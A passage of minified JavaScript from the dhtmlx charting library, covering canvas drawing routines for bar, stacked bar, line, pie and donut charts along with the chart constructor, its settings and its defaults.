E=this._settings.color.call(this,P[I]);C.globalAlpha=this._settings.alpha.call(this,P[I]);C.fillStyle=this._settings.color.call(this,P[I]);C.beginPath();var H=this._setBarHPoints(C,L,e,u,l,s,A,(this._settings.border?1:0));if(a&&!q){C.lineTo(h.x+y,e+(this._settings.border?1:0))}C.fill();if(q!=false){var r=this._setBarGradient(C,L,e+u,L,e,q,E,\"x\");C.fillStyle=r.gradient;C.beginPath();H=this._setBarHPoints(C,L,e,u,l,s,A,0);C.fill()}if(this._settings.border){this._drawBarHBorder(C,L,e,u,v,l,s,A,E)}C.globalAlpha=1;this.canvases[D].renderTextAt(\"middle\",true,P[I].$startX+(H[0]-P[I].$startX)/2-1,e+(H[1]-e)/2,this._settings.label(P[I]));O.addRect(P[I].id,[P[I].$startX-h.x,e-h.y,H[0]-h.x,H[1]-h.y],D);P[I].$startX=H[0]}}};dhtmlx.chart.stackedBar={pvt_render_stackedBar:function(x,L,g,e,y,K){var I,s;var a;var u;var v=e.y-g.y;var l=!!this._settings.yAxis;var J=!!this._settings.xAxis;var h=this._getStackedLimits(L);I=h.max;s=h.min;var C=Math.floor((e.x-g.x)/L.length);if(!y){this._drawScales(L,g,e,s,I,C)}if(l){I=parseFloat(this._settings.yAxis.end);s=parseFloat(this._settings.yAxis.start)}var F=this._getRelativeValue(s,I);u=F[0];a=F[1];var q=(u?v/u:10);var r=parseInt(this._settings.width,10);if(r+4>C){r=C-4}var m=Math.floor((C-r)/2);var n=(this._settings.gradient?this._settings.gradient:false);if(!J){this._drawLine(x,g.x,e.y+0.5,e.x,e.y+0.5,\"#000000\",1)}for(var E=0;E<L.length;E++){var w=parseFloat(this._settings.value(L[E]||0));if(!w){if(!y||!L[E].$startY){L[E].$startY=e.y}continue}if(!y){w-=s}w*=a;var H=g.x+m+E*C;var c=e.y;if(!y){L[E].$startY=c}else{c=L[E].$startY}if(c<(g.y+1)){continue}if(w<0||(this._settings.yAxis&&w===0)){this.canvases.y.renderTextAt(true,true,H+Math.floor(r/2),c,this._settings.label(L[E]));continue}var A=this._settings.color.call(this,L[E]);x.globalAlpha=this._settings.alpha.call(this,L[E]);x.fillStyle=this._settings.color.call(this,L[E]);x.beginPath();var D=this._setStakedBarPoints(x,H-(this._settings.border?0.5:0),c,r+(this._settings.border?0.5:0),q,w,0,g.y);x.fill();if(n){x.save();var o=this._setBarGradient(x,H,c,H+r,D[1],n,A,\"y\");x.fillStyle=o.gradient;x.beginPath();D=this._setStakedBarPoints(x,H+o.offset,c,r-o.offset*2,q,w,(this._settings.border?1:0),g.y);x.fill();x.restore()}if(this._settings.border){x.save();this._setBorderStyles(x,A);x.beginPath();this._setStakedBarPoints(x,H-0.5,c,r+1,q,w,0,g.y,1);x.stroke();x.restore()}x.globalAlpha=1;this.canvases[y].renderTextAt(false,true,H+Math.floor(r/2),(D[1]+(c-D[1])/2)-7,this._settings.label(L[E]));K.addRect(L[E].id,[H-g.x,D[1]-g.y,D[0]-g.x,(L[E].$startY||c)-g.y],y);L[E].$startY=(this._settings.border?(D[1]+1):D[1])}},_setStakedBarPoints:function(s,c,o,u,q,n,g,e,h){s.moveTo(c,o);var m=o-q*n+g;if(m<e){m=e}s.lineTo(c,m);var a=c+u;var l=m;s.lineTo(a,l);var r=c+u;s.lineTo(r,o);if(!h){s.lineTo(c,o)}return[r,l-2*g]}};dhtmlx.chart.line={pvt_render_line:function(m,A,h,g,n,x){var w,o,l,u,s,r,q,c,a,e,y,v;u=this._calculateLineParams(m,A,h,g,n);w=this._settings;if(A.length){s=(w.offset?h.x+u.cellWidth*0.5:h.x);l=[];for(o=0;o<A.length;o++){v=this._getPointY(A[o],h,g,u);if(v){q=((!o)?s:u.cellWidth*o-0.5+s);a=(typeof v==\"object\"?v.y0:v);if(o&&this._settings.fixOverflow){y=this._getPointY(A[o-1],h,g,u);if(y.out&&y.out==v.out){continue}r=u.cellWidth*(o-1)-0.5+s;c=(typeof y==\"object\"?y.y0:y);if(y.out){e=(y.out==\"min\"?g.y:h.y);l.push({x:this._calcOverflowX(r,q,c,a,e),y:e})}if(v.out){e=(v.out==\"min\"?g.y:h.y);l.push({x:this._calcOverflowX(r,q,c,a,e),y:e})}}if(!v.out){l.push({x:q,y:v,index:o})}}}this._mapStart=h;for(o=1;o<=l.length;o++){r=l[o-1].x;c=l[o-1].y;if(o<l.length){q=l[o].x;a=l[o].y;this._drawLine(m,r,c,q,a,w.line.color.call(this,A[o-1]),w.line.width);if(w.line&&w.line.shadow){m.globalAlpha=0.3;this._drawLine(m,r+2,c+w.line.width+8,q+2,a+w.line.width+8,\"#eeeeee\",w.line.width+3);m.globalAlpha=1}}if(typeof l[o-1].index!=\"undefined\"){this._drawItem(m,r,c,A[l[o-1].index],w.label(A[l[o-1].index]),n,x,h)}}}},_calcOverflowX:function(c,a,g,e,h){return c+(h-g)*(a-c)/(e-g)},_drawItem:function(u,e,s,o,r,q,c){var g=this._settings.item;var n=parseInt(g.radius.call(this,o),10)||0;var m=this._mapStart;if(n){u.save();if(g.shadow){u.lineWidth=1;u.strokeStyle=\"#bdbdbd\";u.fillStyle=\"#bdbdbd\";var a=[0.1,0.2,0.3];for(var l=(a.length-1);l>=0;l--){u.globalAlpha=a[l];u.strokeStyle=\"#d0d0d0\";u.beginPath();this._strokeChartItem(u,e,s+2*n/3,n+l+1,g.type);u.stroke()}u.beginPath();u.globalAlpha=0.3;u.fillStyle=\"#bdbdbd\";this._strokeChartItem(u,e,s+2*n/3,n+1,g.type);u.fill()}u.restore();u.lineWidth=g.borderWidth;u.fillStyle=g.color.call(this,o);u.strokeStyle=g.borderColor.call(this,o);u.globalAlpha=g.alpha.call(this,o);u.beginPath();this._strokeChartItem(u,e,s,n+1,g.type);u.fill();u.stroke();u.globalAlpha=1}if(r){this.canvases[q].renderTextAt(false,true,e,s-n-this._settings.labelOffset,this._settings.label.call(this,o))}var h=(this._settings.eventRadius||n+1);c.addRect(o.id,[e-h-m.x,s-h-m.y,e+h-m.x,s+h-m.y],q)},_strokeChartItem:function(a,c,h,g,e){var l=[];c=parseInt(c,10);h=parseInt(h,10);if(e&&(e==\"square\"||e==\"s\")){g*=Math.sqrt(2)/2;l=[[c-g-a.lineWidth/2,h-g],[c+g,h-g],[c+g,h+g],[c-g,h+g],[c-g,h-g]]}else{if(e&&(e==\"diamond\"||e==\"d\")){var m=(a.lineWidth>1?a.lineWidth*Math.sqrt(2)/4:0);l=[[c,h-g],[c+g,h],[c,h+g],[c-g,h],[c+m,h-g-m]]}else{if(e&&(e==\"triangle\"||e==\"t\")){l=[[c,h-g],[c+Math.sqrt(3)*g/2,h+g/2],[c-Math.sqrt(3)*g/2,h+g/2],[c,h-g]]}else{l=[[c,h,g,0,Math.PI*2,true]]}}}this._path(a,l)},_getPointY:function(e,n,l,a){var m=a.minValue;var g=a.maxValue;var q=a.unit;var c=a.valueFactor;var o=this._settings.value(e);var r=(parseFloat(o||0)-m)*c;if(!this._settings.yAxis){r+=a.startValue/q}var h=l.y-q*r;if(this._settings.fixOverflow&&(this._settings.view==\"line\"||this._settings.view==\"area\")){if(o>g){h={y:n.y,y0:h,out:\"max\"}}else{if(r<0||o<m){h={y:l.y,y0:h,out:\"min\"}}}}else{if(o>g){h=n.y}if(r<0||o<m){h=l.y}}return h},_calculateLineParams:function(o,g,m,l,h){var c={};var q;c.totalHeight=l.y-m.y;c.cellWidth=(l.x-m.x)/((!this._settings.offset)?(g.length-1):g.length);var e=!!this._settings.yAxis;var a=(this._settings.view.indexOf(\"stacked\")!=-1?this._getStackedLimits(g):this._getLimits());c.maxValue=a.max;c.minValue=a.min;if(!h){this._drawScales(g,m,l,c.minValue,c.maxValue,c.cellWidth)}if(e){c.maxValue=parseFloat(this._settings.yAxis.end);c.minValue=parseFloat(this._settings.yAxis.start)}var n=this._getRelativeValue(c.minValue,c.maxValue);q=n[0];c.valueFactor=n[1];c.unit=(q?c.totalHeight/q:10);c.startValue=0;if(!e){c.startValue=10;if(c.unit!=c.totalHeight){c.unit=(q?(c.totalHeight-c.startValue)/q:10)}}return c}};dhtmlx.chart.bar={pvt_render_bar:function(y,P,h,g,A,O){var s,D,H,m,M,u,v,c,I,w,r,L,n,N=g.y-h.y;n=!!this._settings.yAxis;L=!!this._settings.xAxis;m=this._getLimits();M=m.max;u=m.min;D=(g.x-h.x)/P.length;if(!A&&!(this._settings.origin!=\"auto\"&&!n)){this._drawScales(P,h,g,u,M,D)}if(n){M=parseFloat(this._settings.yAxis.end);u=parseFloat(this._settings.yAxis.start)}I=this._getRelativeValue(u,M);v=I[0];c=I[1];r=(v?N/v:v);if(!n&&!(this._settings.origin!=\"auto\"&&L)){w=10;r=(v?(N-w)/v:w)}if(!A&&(this._settings.origin!=\"auto\"&&!n)&&this._settings.origin>u){this._drawXAxis(y,P,h,g,D,g.y-r*(this._settings.origin-u))}s=parseInt(this._settings.width,10);var K=0;var F=0;for(H=0;H<this._series.length;H++){if(H==A){F=K}if(this._series[H].view==\"bar\"){K++}}if(this._series&&(s*K+4)>D){s=parseInt(D/K-4,10)}var o=(D-s*K)/2;var l=(typeof this._settings.radius!=\"undefined\"?parseInt(this._settings.radius,10):Math.round(s/5));var q=false;var a=this._settings.gradient;if(a&&typeof(a)!=\"function\"){q=a;a=false}else{if(a){a=y.createLinearGradient(0,g.y,0,h.y);this._settings.gradient(a)}}if(!L){this._drawLine(y,h.x,g.y+0.5,g.x,g.y+0.5,\"#000000\",1)}for(H=0;H<P.length;H++){var x=parseFloat(this._settings.value(P[H])||0);if(isNaN(x)){continue}if(x>M){x=M}x-=u;x*=c;var J=h.x+o+parseInt(H*D,10)+(s+1)*F;var e=g.y;if(x<0||(this._settings.yAxis&&x===0&&!(this._settings.origin!=\"auto\"&&this._settings.origin>u))){this.canvases[A].renderTextAt(true,true,J+Math.floor(s/2),e,this._settings.label(P[H]));continue}if(!n&&!(this._settings.origin!=\"auto\"&&L)){x+=w/r}var C=a||this._settings.color.call(this,P[H]);y.globalAlpha=this._settings.alpha.call(this,P[H]);var E=this._drawBar(y,h,J,e,s,u,l,r,x,C,a,q);if(q){this._drawBarGradient(y,J,e,s,u,l,r,x,C,q)}if(this._settings.border){this._drawBarBorder(y,J,e,s,u,l,r,x,C)}y.globalAlpha=1;if(E[0]!=J){this.canvases[A].renderTextAt(false,true,J+Math.floor(s/2),E[1],this._settings.label(P[H]))}else{this.canvases[A].renderTextAt(true,true,J+Math.floor(s/2),E[3],this._settings.label(P[H]))}O.addRect(P[H].id,[J-h.x,E[3]-h.y,E[2]-h.x,E[1]-h.y],A)}},_correctBarParams:function(n,h,e,l,m,o,g){var a=this._settings.xAxis;var c=e;if(!!a&&this._settings.origin!=\"auto\"&&(this._settings.origin>g)){e-=(this._settings.origin-g)*m;c=e;l=l-(this._settings.origin-g);if(l<0){l*=(-1);n.translate(h+o,e);n.rotate(Math.PI);h=0;e=0}e-=0.5}return{value:l,x0:h,y0:e,start:c}},_drawBar:function(u,h,A,g,o,q,l,n,s,v,a,m){u.save();u.fillStyle=v;var r=this._correctBarParams(u,A,g,s,n,o,q);var w=this._setBarPoints(u,r.x0,r.y0,o,l,n,r.value,(this._settings.border?1:0));if(a&&!m){u.lineTo(r.x0+(this._settings.border?1:0),h.y)}u.fill();u.restore();var y=r.x0;var x=(r.x0!=A?A+w[0]:w[0]);var e=(r.x0!=A?(r.start-w[1]-r.y0):r.y0);var c=(r.x0!=A?r.start-r.y0:w[1]);return[y,e,x,c]},_drawBarBorder:function(o,c,m,q,h,g,n,l,e){var a;o.save();a=this._correctBarParams(o,c,m,l,n,q,h);this._setBorderStyles(o,e);this._setBarPoints(o,a.x0,a.y0,q,g,n,a.value,o.lineWidth/2,1);o.stroke();o.restore()},_drawBarGradient:function(s,g,q,u,n,m,r,o,h,c){s.save();var e=this._correctBarParams(s,g,q,o,r,u,n);var l=this._setBarGradient(s,e.x0,e.y0,e.x0+u,e.y0-r*e.value+2,c,h,\"y\");var a=this._settings.border?1:0;s.fillStyle=l.gradient;this._setBarPoints(s,e.x0+l.offset,e.y0,u-l.offset*2,m,r,e.value,l.offset+a);s.fill();s.restore()},_setBarPoints:function(w,g,s,x,n,u,r,h,m){w.beginPath();var c=0;if(n>u*r){var l=(n-u*r)/n;if(l<=1&&l>=-1){c=-Math.acos(l)+Math.PI/2}}w.moveTo(g+h,s);var q=s-Math.floor(u*r)+n+(n?0:h);if(n<u*r){w.lineTo(g+h,q)}var e=g+n;if(n&&n>0){w.arc(e,q,n-h,-Math.PI+c,-Math.PI/2,false)}var a=g+x-n-h;var o=q-n+(n?h:0);w.lineTo(a,o);if(n&&n>0){w.arc(a,q,n-h,-Math.PI/2,0-c,false)}var v=g+x-h;w.lineTo(v,s);if(!m){w.lineTo(g+h,s)}return[v,o]}};dhtmlx.chart.pie={pvt_render_pie:function(c,g,a,l,e,h){this._renderPie(c,g,a,l,1,h,e)},_renderPie:function(r,E,h,g,C,D,s){if(!E.length){return}var u=this._getPieParameters(h,g);var m=(this._settings.radius?this._settings.radius:u.radius);if(m<0){return}var a=this._getValues(E);var l=this._getTotalValue(a);var n=this._getRatios(a,l);var A=(this._settings.x?this._settings.x:u.x);var e=(this._settings.y?this._settings.y:u.y);if(C==1&&this._settings.shadow){this._addShadow(r,A,e,m)}e=e/C;var q=-Math.PI/2;var w=[];r.scale(1,C);if(this._settings.gradient){var y=(C!=1?A+m/3:A);var c=(C!=1?e+m/3:e);this._showRadialGradient(r,A,e,m,y,c)}for(var x=0;x<E.length;x++){if(!a[x]){continue}r.strokeStyle=this._settings.lineColor.call(this,E[x]);r.beginPath();r.moveTo(A,e);w.push(q);alpha1=-Math.PI/2+n[x]-0.0001;r.arc(A,e,m,q,alpha1,false);r.lineTo(A,e);var v=this._settings.color.call(this,E[x]);r.fillStyle=v;r.fill();if(this._settings.pieInnerText){this._drawSectorLabel(A,e,5*m/6,q,alpha1,C,this._settings.pieInnerText(E[x],l),true)}if(this._settings.label){this._drawSectorLabel(A,e,m+this._settings.labelOffset,q,alpha1,C,this._settings.label(E[x]))}if(C!=1){this._createLowerSector(r,A,e,q,alpha1,m,true);r.fillStyle=\"#000000\";r.globalAlpha=0.2;this._createLowerSector(r,A,e,q,alpha1,m,false);r.globalAlpha=1;r.fillStyle=v}D.addSector(E[x].id,q,alpha1,A-h.x,e-h.y/C,m,C,s);q=alpha1}r.globalAlpha=0.8;var o;for(x=0;x<w.length;x++){o=this._getPositionByAngle(w[x],A,e,m);this._drawLine(r,A,e,o.x,o.y,this._settings.lineColor.call(this,E[x]),2)}if(C==1){r.lineWidth=2;r.strokeStyle=\"#ffffff\";r.beginPath();r.arc(A,e,m+1,0,2*Math.PI,false);r.stroke()}r.globalAlpha=1;r.scale(1,1/C)},_getValues:function(e){var a=[];for(var c=0;c<e.length;c++){a.push(parseFloat(this._settings.value(e[c])||0))}return a},_getTotalValue:function(a){var e=0;for(var c=0;c<a.length;c++){e+=a[c]}return e},_getRatios:function(c,a){var l;var h=[];var g=0;a=a||this._getTotalValue(c);for(var e=0;e<c.length;e++){l=c[e];h[e]=Math.PI*2*(a?((l+g)/a):(1/c.length));g+=l}return h},_getPieParameters:function(m,h){var g=h.x-m.x;var c=h.y-m.y;var e=m.x+g/2;var l=m.y+c/2;var a=Math.min(g/2,c/2);return{x:e,y:l,radius:a}},_createLowerSector:function(g,h,m,e,a,l,c){g.lineWidth=1;if(!((e<=0&&a>=0)||(e>=0&&a<=Math.PI)||(Math.abs(e-Math.PI)>0.003&&e<=Math.PI&&a>=Math.PI))){return}if(e<=0&&a>=0){e=0;c=false;this._drawSectorLine(g,h,m,l,e,a)}if(e<=Math.PI&&a>=Math.PI){a=Math.PI;c=false;this._drawSectorLine(g,h,m,l,e,a)}var n=(this._settings.height||Math.floor(l/4))/this._settings.cant;g.beginPath();g.arc(h,m,l,e,a,false);g.lineTo(h+l*Math.cos(a),m+l*Math.sin(a)+n);g.arc(h,m+n,l,a,e,true);g.lineTo(h+l*Math.cos(e),m+l*Math.sin(e));g.fill();if(c){g.stroke()}},_drawSectorLine:function(e,g,l,h,c,a){e.beginPath();e.arc(g,l,h,c,a,false);e.stroke()},_addShadow:function(c,a,l,g){c.globalAlpha=0.5;var h=[\"#c4c4c4\",\"#c6c6c6\",\"#cacaca\",\"#dcdcdc\",\"#dddddd\",\"#e0e0e0\",\"#eeeeee\",\"#f5f5f5\",\"#f8f8f8\"];for(var e=h.length-1;e>-1;e--){c.beginPath();c.fillStyle=h[e];c.arc(a+1,l+1,g+e,0,Math.PI*2,true);c.fill()}c.globalAlpha=1},_getGrayGradient:function(a){a.addColorStop(0,\"#ffffff\");a.addColorStop(0.7,\"#7a7a7a\");a.addColorStop(1,\"#000000\");return a},_showRadialGradient:function(e,c,m,a,g,h){e.beginPath();var l;if(typeof this._settings.gradient!=\"function\"){l=e.createRadialGradient(g,h,a/4,c,m,a);l=this._getGrayGradient(l)}else{l=this._settings.gradient(l)}e.fillStyle=l;e.arc(c,m,a,0,Math.PI*2,true);e.fill();e.globalAlpha=0.7},_drawSectorLabel:function(D,c,g,w,v,E,u,a){var s=this.canvases[0].renderText(0,0,u,0,1);if(!s){return}var F=s.scrollWidth;s.style.width=F+\"px\";if(F>D){F=D}var A=(v-w<0.2?4:8);if(a){A=F/1.8}var e=w+(v-w)/2;g=g-(A-8)/2;var n=-A;var m=-8;var C=\"right\";if(e>=Math.PI/2&&e<Math.PI||e<=3*Math.PI/2&&e>=Math.PI){n=-F-n+1;C=\"left\"}var h=0;if(!a&&E<1&&(e>0&&e<Math.PI)){h=(this._settings.height||Math.floor(g/4))/E}var o=(c+Math.floor((g+h)*Math.sin(e)))*E+m;var q=D+Math.floor((g+A/2)*Math.cos(e))+n;var l=(v<Math.PI/2+0.01);var r=(w<Math.PI/2);if(r&&l){q=Math.max(q,D+3)}else{if(!r&&!l){q=Math.min(q,D-F)}else{if(!a&&(e>=Math.PI/2&&e<Math.PI||e<=3*Math.PI/2&&e>=Math.PI)){q+=F/3}}}s.style.top=o+\"px\";s.style.left=q+\"px\";s.style.width=F+\"px\";s.style.textAlign=C;s.style.whiteSpace=\"nowrap\"}};dhtmlx.chart.pie3D={pvt_render_pie3D:function(c,g,a,l,e,h){this._renderPie(c,g,a,l,this._settings.cant,h)}};dhtmlx.chart.donut={pvt_render_donut:function(s,h,q,o,m,c){if(!h.length){return}this._renderPie(s,h,q,o,1,c);var g=this._settings;var l=this._getPieParameters(q,o);var a=(g.radius?g.radius:l.radius);var n=((g.innerRadius&&(g.innerRadius<a))?g.innerRadius:a/3);var e=(g.x?g.x:l.x);var r=(g.y?g.y:l.y);s.fillStyle=\"#ffffff\";s.beginPath();s.arc(e,r,n,0,Math.PI*2,true);s.fill()}};dhtmlx.DataDriver.dhtmlxgrid={_grid_getter:\"_get_cell_value\",toObject:function(a){this._grid=a;return a},getRecords:function(a){return a.rowsBuffer},getDetails:function(e){var a={};for(var c=0;c<this._grid.getColumnsNum();c++){a[\"data\"+c]=this._grid[this._grid_getter](e,c)}return a},getInfo:function(a){return{_size:0,_from:0}}};dhtmlx.ui.Canvas=function(c,e,h){this._canvas_labels=[];this._canvas_name=e;this._obj=c;var g=c.offsetWidth*(window.devicePixelRatio||1);var a=c.offsetHeight*(window.devicePixelRatio||1);var h=h||\"\";h+=\";width:\"+c.offsetWidth+\"px;height:\"+c.offsetHeight+\"px;\";this._prepareCanvas(e,h,g,a)};dhtmlx.ui.Canvas.prototype={_prepareCanvas:function(c,g,e,a){this._canvas=dhtmlx.html.create(\"canvas\",{width:e,height:a,canvas_id:c,style:(g||\"\")});this._obj.appendChild(this._canvas);if(!this._canvas.getContext){if(dhtmlx._isIE){dhtmlx.require(\"thirdparty/excanvas/excanvas.js\");G_vmlCanvasManager.init_(document);G_vmlCanvasManager.initElement(this._canvas)}else{dhtmlx.error(\"Canvas is not supported in the current browser\")}}return this._canvas},getCanvas:function(c){var a=(this._canvas||this._prepareCanvas()).getContext(c||\"2d\");if(!this._webixDevicePixelRatio){this._webixDevicePixelRatio=true;a.scale(window.devicePixelRatio||1,window.devicePixelRatio||1)}return a},_resizeCanvas:function(){if(this._canvas){var a=this._canvas.parentNode.offsetWidth;var c=this._canvas.parentNode.offsetHeight;this._canvas.setAttribute(\"width\",a*(window.devicePixelRatio||1));this._canvas.setAttribute(\"height\",c*(window.devicePixelRatio||1));this._canvas.style.width=a+\"px\";this._canvas.style.height=c+\"px\";this._webixDevicePixelRatio=false}},renderText:function(a,l,h,g,c){if(!h){return}var e=dhtmlx.html.create(\"DIV\",{\"class\":\"dhx_canvas_text\"+(g?(\" \"+g):\"\"),style:\"left:\"+a+\"px; top:\"+l+\"px;\"},h);this._obj.appendChild(e);this._canvas_labels.push(e);if(c){e.style.width=c+\"px\"}return e},renderTextAt:function(h,o,a,n,g,m,e){var l=this.renderText.call(this,a,n,g,m,e);if(l){if(h){if(h==\"middle\"){l.style.top=parseInt(n-l.offsetHeight/2,10)+\"px\"}else{l.style.top=n-l.offsetHeight+\"px\"}}if(o){if(o==\"left\"){l.style.left=a-l.offsetWidth+\"px\"}else{l.style.left=parseInt(a-l.offsetWidth/2,10)+\"px\"}}}return l},clearCanvas:function(a){var c=[],e;for(e=0;e<this._canvas_labels.length;e++){this._obj.removeChild(this._canvas_labels[e])}this._canvas_labels=[];if(!a&&this._obj._htmlmap){c=this._getMapAreas();while(c.length){c[0].parentNode.removeChild(c[0]);c.splice(0,1)}c=null;if(!this._obj._htmlmap.getElementsByTagName(\"AREA\").length){this._obj._htmlmap.parentNode.removeChild(this._obj._htmlmap);this._obj._htmlmap=null}}this.getCanvas().clearRect(0,0,this._obj.offsetWidth*(window.devicePixelRatio||1),this._obj.offsetWidth*(window.devicePixelRatio||1))},toggleCanvas:function(){this._toggleCanvas(this._canvas.style.display==\"none\")},showCanvas:function(){this._toggleCanvas(true)},hideCanvas:function(){this._toggleCanvas(false)},_toggleCanvas:function(a){var c,e;for(e=0;e<this._canvas_labels.length;e++){this._canvas_labels[e].style.display=(a?\"\":\"none\")}if(this._obj._htmlmap){c=this._getMapAreas();for(e=0;e<c.length;e++){if(a){c[e].removeAttribute(\"disabled\")}else{c[e].setAttribute(\"disabled\",\"true\")}}}this._canvas.style.display=(a?\"\":\"none\")},_getMapAreas:function(){var e=[],a,c;a=this._obj._htmlmap.getElementsByTagName(\"AREA\");for(c=0;c<a.length;c++){if(a[c].getAttribute(\"userdata\")==this._canvas_name){e.push(a[c])}}return e}};dhtmlXChart=function(a){this.name=\"Chart\";if(dhtmlx.assert_enabled()){this._assert()}dhtmlx.extend(this,dhtmlx.Settings);this._parseContainer(a,\"dhx_chart\");dhtmlx.extend(this,dhtmlx.AtomDataLoader);dhtmlx.extend(this,dhtmlx.DataLoader);this.data.provideApi(this,true);dhtmlx.extend(this,dhtmlx.EventSystem);dhtmlx.extend(this,dhtmlx.MouseEvents);dhtmlx.extend(this,dhtmlx.Destruction);dhtmlx.extend(this,dhtmlx.Group);dhtmlx.extend(this,dhtmlx.AutoTooltip);for(var c in dhtmlx.chart){dhtmlx.extend(this,dhtmlx.chart[c])}if(a.preset){this.definePreset(a)}this._parseSettings(a,this.defaults);this._series=[this._settings];this.data.attachEvent(\"onStoreUpdated\",dhtmlx.bind(function(){this.render()},this));this.attachEvent(\"onLocateData\",this._switchSerie)};dhtmlXChart.prototype={_id:\"dhx_area_id\",on_click:{dhx_chart_legend_item:function(m,n,l){var h=l.getAttribute(\"series_id\");if(this.callEvent(\"onLegendClick\",[m,h,l])){var g=this._settings;var c=g.legend.values;var a=(c&&(typeof c[h].toggle!=\"undefined\"))?c[h].toggle:g.legend.toggle;if((typeof h!=\"undefined\")&&this._series.length>1){if(a){if(l.className.indexOf(\"hidden\")!=-1){this.showSeries(h)}else{this.hideSeries(h)}}}}}},on_dblclick:{},on_mouse_move:{},bind:function(){dhx.BaseBind.legacyBind.apply(this,arguments)},sync:function(){dhx.BaseBind.legacySync.apply(this,arguments)},resize:function(){for(var a in this.canvases){this.canvases[a]._resizeCanvas()}this.render()},view_setter:function(a){if(!dhtmlx.chart[a]){dhtmlx.error(\"Chart type extension is not loaded: \"+a)}if(typeof this._settings.offset==\"undefined\"){this._settings.offset=!(a==\"area\"||a==\"stackedArea\")}if(a==\"radar\"&&!this._settings.yAxis){this.define(\"yAxis\",{})}if(a==\"scatter\"){if(!this._settings.yAxis){this.define(\"yAxis\",{})}if(!this._settings.xAxis){this.define(\"xAxis\",{})}}return a},clearCanvas:function(){if(this.canvases&&typeof this.canvases==\"object\"){for(var a in this.canvases){this.canvases[a].clearCanvas()}}},render:function(){var e,c,g,h,a;if(!this.callEvent(\"onBeforeRender\",[this.data])){return}if(this.canvases&&typeof this.canvases==\"object\"){for(c in this.canvases){this.canvases[c].clearCanvas()}}else{this.canvases={}}if(this._settings.legend){if(!this.canvases.legend){this.canvases.legend=new dhtmlx.ui.Canvas(this._obj,\"legend\")}this._drawLegend(this.data.getRange(),this._obj.offsetWidth)}e=this._getChartBounds(this._obj.offsetWidth,this._obj.offsetHeight);h=new dhtmlx.ui.Map(this._id);a=this._settings;g=this._getChartData();for(c=0;c<this._series.length;c++){this._settings=this._series[c];if(!this.canvases[c]){this.canvases[c]=new dhtmlx.ui.Canvas(this._obj,c,\"z-index:\"+(2+c))}this[\"pvt_render_\"+this._settings.view](this.canvases[c].getCanvas(),g,e.start,e.end,c,h)}h.render(this._obj);this._obj.lastChild.style.zIndex=1000;this._applyBounds(this._obj.lastChild,e);this.callEvent(\"onAfterRender\",[]);this._settings=a},_applyBounds:function(e,c){var a={};a.left=c.start.x;a.top=c.start.y;a.width=c.end.x-c.start.x;a.height=c.end.y-c.start.y;for(var g in a){e.style[g]=a[g]+\"px\"}},_getChartData:function(){var g,m,e,h,l,q,a,n,o,c;h=this.data.getRange();g=(this._settings.view.toLowerCase().indexOf(\"barh\")!=-1?\"yAxis\":\"xAxis\");m=this._settings[g];if(m&&m.units&&(typeof m.units==\"object\")){e=m.units;n=[];if(typeof e.start!=\"undefined\"&&typeof e.end!=\"undefined\"&&typeof e.next!=\"undefined\"){a=e.start;while(a<=e.end){n.push(a);a=e.next.call(this,a)}}else{if(Object.prototype.toString.call(e)===\"[object Array]\"){n=e}}q=[];if(n.length){o=m.value;c={};for(l=0;l<h.length;l++){c[o(h[l])]=l}for(l=0;l<n.length;l++){if(typeof c[n[l]]!=\"undefined\"){h[c[n[l]]].$unit=n[l];q.push(h[c[n[l]]])}else{q.push({$unit:n[l]})}}}return q}return h},value_setter:dhtmlx.Template.obj_setter,xValue_setter:dhtmlx.Template.obj_setter,yValue_setter:function(a){this.define(\"value\",a)},alpha_setter:dhtmlx.Template.obj_setter,label_setter:dhtmlx.Template.obj_setter,lineColor_setter:dhtmlx.Template.obj_setter,borderColor_setter:dhtmlx.Template.obj_setter,pieInnerText_setter:dhtmlx.Template.obj_setter,gradient_setter:function(a){if((typeof(a)!=\"function\")&&a&&(a===true)){a=\"light\"}return a},colormap:{RAINBOW:function(a){var c=Math.floor(this.indexById(a.id)/this.dataCount()*1536);if(c==1536){c-=1}return this._rainbow[Math.floor(c/256)](c%256)}},color_setter:function(a){return this.colormap[a]||dhtmlx.Template.obj_setter(a)},fill_setter:function(a){return((!a||a==0)?false:dhtmlx.Template.obj_setter(a))},definePreset:function(a){this.define(\"preset\",a.preset);delete a.preset},preset_setter:function(h){var e,c,g;this.defaults=dhtmlx.extend({},this.defaults);if(typeof dhtmlx.presets.chart[h]==\"object\"){g=dhtmlx.presets.chart[h];for(e in g){if(typeof g[e]==\"object\"){if(!this.defaults[e]||typeof this.defaults[e]!=\"object\"){this.defaults[e]=dhtmlx.extend({},g[e])}else{this.defaults[e]=dhtmlx.extend({},this.defaults[e]);for(c in g[e]){this.defaults[e][c]=g[e][c]}}}else{this.defaults[e]=g[e]}}return h}return false},legend_setter:function(a){if(!a){if(this.legendObj){this.legendObj.innerHTML=\"\";this.legendObj=null}return false}if(typeof(a)!=\"object\"){a={template:a}}this._mergeSettings(a,{width:150,height:18,layout:\"y\",align:\"left\",valign:\"bottom\",template:\"\",toggle:(this._settings.view.toLowerCase().indexOf(\"stacked\")!=-1?\"\":\"hide\"),marker:{type:\"square\",width:15,height:15,radius:3},margin:4,padding:3});a.template=dhtmlx.Template.setter(a.template);return a},defaults:{color:\"RAINBOW\",alpha:\"1\",label:false,value:\"{obj.value}\",padding:{},view:\"pie\",lineColor:\"#ffffff\",cant:0.5,width:30,labelWidth:100,line:{width:2,color:\"#1293f8\"},item:{radius:3,borderColor:\"#636363\",borderWidth:1,color:\"#ffffff\",alpha:1,type:\"r\",shadow:false},shadow:true,gradient:false,border:true,labelOffset:20,origin:\"auto\"},item_setter:function(a){if(typeof(a)!=\"object\"){a={color:a,borderColor:a}}this._mergeSettings(a,dhtmlx.extend({},this.defaults.item));var e=[\"alpha\",\"borderColor\",\"color\",\"radius\"];for(var c=0;c<e.length;c++){a[e[c]]=dhtmlx.Template.setter(a[e[c]])}return a},line_setter:function(a){if(typeof(a)!=\"object\"){a={color:a}}dhtmlx.extend(this.defaults.line,a);a=dhtmlx.extend({},this.defaults.line);a.color=dhtmlx.Template.setter(a.color);return a},padding_setter:function(a){if(typeof(a)!=\"object\"){a={left:a,right:a,top:a,bottom:a}}this._mergeSettings(a,{left:50,right:20,top:35,bottom:40});return a},xAxis_setter:function(a){if(!a){return false}if(typeof(a)!=\"object\"){a={template:a}}if(!a.value){a.value=a.template}this._mergeSettings(a,{title:\"\",color:\"#000000\",lineColor:\"#cfcfcf\",template:\"{obj}\",value:\"{obj}\",lines:true});var 